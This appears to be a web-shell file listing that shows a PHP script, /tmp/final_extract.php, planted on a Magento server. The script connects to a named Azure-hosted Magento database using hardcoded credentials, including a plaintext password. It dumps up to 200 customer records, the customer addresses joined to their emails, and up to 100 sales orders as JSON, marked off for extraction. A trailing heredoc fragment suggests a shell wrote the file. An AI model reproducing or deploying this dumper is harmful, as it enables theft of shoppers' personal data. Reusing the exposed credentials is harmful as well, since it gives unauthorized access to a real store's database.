| Current Path : /tmp/ |
| Current File : //tmp/final_extract.php |
<?php
$mysqli = new mysqli("magento.mysql.database.azure.com", "flips@magento", "HappyMind2021V", "magento");
if ($mysqli->connect_error) die("DB_ERROR");
// 导出完整数据
echo "===START===\n";
// 1. 客户
$result = $mysqli->query("SELECT * FROM customer_entity LIMIT 200");
echo "CUSTOMERS:\n";
while ($row = $result->fetch_assoc()) { echo json_encode($row)."\n"; }
// 2. 地址
$result = $mysqli->query("SELECT ca.*, c.email FROM customer_address_entity ca INNER JOIN customer_entity c ON c.entity_id = ca.parent_id");
echo "ADDRESSES:\n";
while ($row = $result->fetch_assoc()) { echo json_encode($row)."\n"; }
// 3. 订单
$result = $mysqli->query("SELECT * FROM sales_order LIMIT 100");
echo "ORDERS:\n";
while ($row = $result->fetch_assoc()) { echo json_encode($row)."\n"; }
echo "===END===\n";
$mysqli->close();
?>
PHPEOF 2>&1